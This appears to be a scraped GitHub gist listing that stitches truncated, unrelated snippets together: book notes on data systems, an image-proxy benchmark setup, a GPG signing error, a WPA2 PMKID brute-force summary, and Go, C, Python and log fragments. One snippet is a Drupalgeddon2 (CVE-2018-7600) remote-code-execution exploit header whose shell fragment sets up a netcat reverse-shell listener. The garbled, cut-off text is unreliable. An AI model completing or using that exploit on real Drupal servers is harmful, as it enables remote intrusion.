Si Nguyen mrsinguyen

Notes on Martin Kleppmann's excellent Designing Data-Intensive Applications.

Chapter 1: Reliable, Scalable, and Maintainable Applications

Data Systems
- Dimensions to consider when thinking about data systems: access patterns, performance characteristics, implementations.
- Modern data systems often blur the lines between databases, caches, streams, etc.
Reliability
- Systems should perform the expected function at a given level of performance, and be tolerant to faults and user mistakes
Fault: One component of a system deviating from its spec. Prefer tolerating faults over preventing them (except for things like security issues). Faults stem from hardware failures, software failures, and human error (in a study, config errors caused most outages).

imgproxy vs alternatives benchmark

Setup

c5.xlarge AWS instance: 4 CPUs, 8 GB RAM
Ubuntu 18.04
Go 1.12
Python 2.7
Vips 8.7.4

Problem

You have installed GPG, then tried to commit and suddenly you see this error message after it:

error: gpg failed to sign the data
fatal: failed to write commit object

Debug

Trying to deploy WPA3 on my home network

Introduction

Recently, news broke about a new possible offline attack on WPA2 using PMKID. To summarize the attack, WPA2 protected APs can end up broadcasting PMKID values which can then be used to offline-brute-force the password.

These PMKID values are computed this way:

PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

CVE-2018-7600 | Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Source: https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708

Improved (Ruby) exploit ~ http://github.com/dreadlocked/Drupalgeddon2/ // https://www.exploit-db.com/exploits/44449/

	// Go Playground: https://play.golang.org/p/cMutpCzpmth

	package main

	import (
	"fmt"
	"encoding/json"
	)

	// Field is a key value structure

	// Uncompressed version of
	// https://gist.github.com/munificent/b1bcd969063da3e6c298be070a22b604

	#include <time.h> // Robert Nystrom
	#include <stdio.h> // @munificentbob
	#include <stdlib.h> // for Ginny
	#include <stdbool.h> // 2008-2019

	const int HEIGHT = 40;
	const int WIDTH = 80;

	#!/bin/sh

	YOUR_EXTERNAL_IP="172.16.30.108"
	YOUR_NETCAT_PORT="6969"

	# Start up a netcat server
	# netcat -l 6969

	HOST="http://drupal.docker.localhost:8000"
	PHP_FUNCTION="exec"

	#!/bin/python
	from flashtext.keyword import KeywordProcessor
	import random
	import string
	import re
	import time


	def get_word_of_length(str_length):
	# generate a random word of given length

	2018/02/14 19:04:40.248432 persist.go:73: STARTUP: Logging has started. Siad Version 1.3.1
	2018/02/14 19:06:52.289474 synchronize.go:627: INFO: IBD done, synced with 9 peers